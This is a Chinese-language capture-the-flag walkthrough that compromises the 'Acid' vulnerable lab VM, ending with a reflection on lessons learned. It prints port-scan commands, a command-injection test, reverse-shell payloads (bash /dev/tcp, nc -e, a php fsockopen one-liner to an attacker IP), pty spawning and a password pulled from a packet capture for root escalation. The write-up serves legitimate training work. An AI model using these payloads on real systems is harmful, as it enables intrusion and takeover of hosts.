Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.php
歡迎來到酸的世界。童話故事須要使用祕密鑰匙打開魔法門。python
得到root權限和flag。linux
靶機配置:該虛擬機徹底基於Web,提取rar並使用VMplayer運行vmx,網絡鏈接方式設置爲net,靶機自動獲取IP。web
攻擊機配置:同網段下有Windows攻擊機,安裝有Burpsuit、nc、Python2.七、DirBuster、御劍等滲透工具。shell
ip發現ubuntu
啓用Acid虛擬機,因爲網絡設置爲橋接模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段,便可找到虛機IP,命令:bash
nmap -sP 192.168.1.1/24
服務器
得到目標ip 192.168.1.104
網絡
端口掃描tcp
使用nmap掃描1-65535全端口,並作服務指紋識別,命令:
nmap -p 1-65535 -sV 192.168.1.104
目標主機的33447端口發現web服務,web服務器是Apache2.4.10,操做系統ubuntu。
http://192.168.1.104:33447
進入主頁:
服務識別
只發現web服務和Apache,只能從web漏洞或者Apache漏洞入手(若有漏洞):
端口:Tcp 33447
底層服務:Apache2.4.10
操做系統:Ubuntu
web挖掘思路:
(1) 查看每一個網頁的源碼,看是否有提示;
(2) 暴破目錄,用御劍或DirBuster,看是否有新網頁,找新網頁的漏洞;
Apache挖掘思路:
(1) 尋找Apache2.4.10有無已知漏洞可利用:沒有發現可直接利用的漏洞。
(2) 到www.exploit-db.com查詢有無exp:沒有找到exp。
(3) Nessus掃描一下主機漏洞:沒有掃描出漏洞。
實在找不到漏洞:單用戶模式進入Ubuntu,看源碼吧。
步驟1:首先看主頁源碼,發現提示:0x643239334c6d70775a773d3d
0x是16進制編碼,將值643239334c6d70775a773d3d進行ASCII hex轉碼,變成:d293LmpwZw==
發現是base64編碼,再進行解碼,獲得圖片信息 wow.jpg
這時能夠根據經驗在首頁直接加目錄打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 網站的圖片目錄一般是這樣命名。
也能夠利用dirbuster,御劍進行目錄爆破,獲得圖片目錄images。
訪問 http://192.168.1.104:33447/images/wow.jpg
獲得圖片:
將圖片保存到本地,用Notepad++打開,發現最下邊有提示
將3761656530663664353838656439393035656533376631366137633631306434進行ASCII hex轉碼,
獲得 7aee0f6d588ed9905ee37f16a7c610d4,這是一串md5。
步驟2:使用Dirbuster進行目錄暴破:
忽然發現標題是/Challenge
查看暴破結果:果真發現Challenge目錄,而且發現該目錄下有cake.php、include.php、hacked.php,用Burpsuit掛上代理,
使用Firefox而後依次訪問3個文件:
步驟3:訪問cake.php,發現須要登陸後才能訪問,可是標題的地方咱們一樣發現了/Magic_Box:
點擊login,發現跳到了index.php 頁面,可是須要email 和 password才能登錄
步驟4:訪問include.php,這是一個文件包含漏洞頁面:
在輸入框中輸入 /etc/passwd 測試存在文件包含,Burpsuit顯示response包以下:
想文件包含拿shell,但沒有文件上傳點,以前發現的wow.jpg中無木馬可包含。先繼續看hacked.php。
步驟5:訪問hacked.php,須要輸入ID,測試下以前從wow.jpg解密出來的數字:63425
不過看來好像並無什麼卵用
步驟6:找注入,把發現的幾個頁面都送入AWVS掃描了漏洞,未發現注入。
這讓人直接想起來命令執行漏洞,咱們嘗試一波
可執行系統命令,輸入192.168.1.1;id 查看burpsuit的response發現id命令執行成功。
步驟9:利用php反彈shell。kali linux開啓nc,監聽4444端口:
爲避免轉義和中斷,在get、post請求中輸入payload須要進行url編碼。嘗試bash反彈shell、nc反彈shell,以下payload都失敗:
bash -i >& /dev/tcp/192.168.0.112/4444 0>&1 nc -e /bin/bash -d 192.168.0.112 4444
經過php反彈shell成功,將以下payload進行URL編碼後,在burp中發送:
php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
成功反彈shell
可是沒法執行su命令,回顯su: must be run from a terminal 須要一個終端。
沒有想出辦法,最終google了一下,找到答案:用python調用本地的shell,命令:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py
步驟10:查看有哪些的用戶 cat /etc/passwd
,發現須要關注的用戶有:acid,saman,root
步驟11:查找每一個用戶的文件(不顯示錯誤)
find / -user acid 2>/dev/null
發現 /sbin/raw_vs_isi/hint.pcapng 文件,這是一個網絡流量抓包文件,用Wireshark打開:
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/
只看TCP協議的包,發現saman的密碼:1337hax0r
步驟12:su提權到saman、root,得到flag
再使用sudo -i 提權到root,密碼一樣是1337hax0r,得到位於root目錄的flag.txt。
做者的設計思路可參考國外的一篇滲透文章:
http://resources.infosecinstitute.com/acid-server-ctf-walkthrough
主要突破點是:
1.兩次目錄暴破,第一次暴破出challenge,目錄、cake.php、include.php、hacked.php,第二次暴破Magic_Box目錄發現command.php。
2.發現命令執行界面後,用php反彈shell,在http中傳輸需對payload進行url編碼。
3.su提權須要一個終端,沒有經驗只能Google解決了。
4.提權的方法是經過查找已知用戶的文件,發現其密碼,未使用exp或msf提權。
1.主要收穫:
(1)命令執行漏洞可以使用php反彈shell, 之前都是用bash或nc。
(2)su提權須要一個終端,使用Python解決。
(3)得到shell後,多多查找各個用戶文件,可能有新發現。
2.踩到的坑:
(1)文件包含漏洞,沒找到利用方式,也找不到上傳點,沒法包含得到shell;
(2)su提權須要一個終端,沒有知識儲備和經驗,依靠高手指導和Google搜索解決。
(3)index.php頁面得到郵件用戶名和密碼的方法太冷門了,若是不是看國外的教程,本身沒法想到。
(4)發現目錄就暴破下,使用御劍默認字典不行,只能使用OWASP的暴破字典,目錄暴破繞過了上面郵件用戶名和口令的登陸,能夠一路暴破到命令執行頁面。
總之,在沒有google搜索和他人的指導下,本身沒能獨立完成,後續須要開闊思路,多多練習。